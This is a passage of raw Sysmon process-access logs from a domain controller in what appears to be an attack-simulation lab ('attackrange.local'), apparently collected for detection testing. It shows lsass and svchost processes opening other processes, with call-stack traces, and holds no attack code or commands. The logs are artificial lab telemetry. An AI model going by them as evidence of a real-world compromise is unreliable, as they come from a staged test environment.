14:44:16.461{7BD73061-65B0-613B-0B00-00000000F001}6205772C:\Windows\system32\lsass.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-65B0-613B-0B00-00000000F001}6205772C:\Windows\system32\lsass.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntd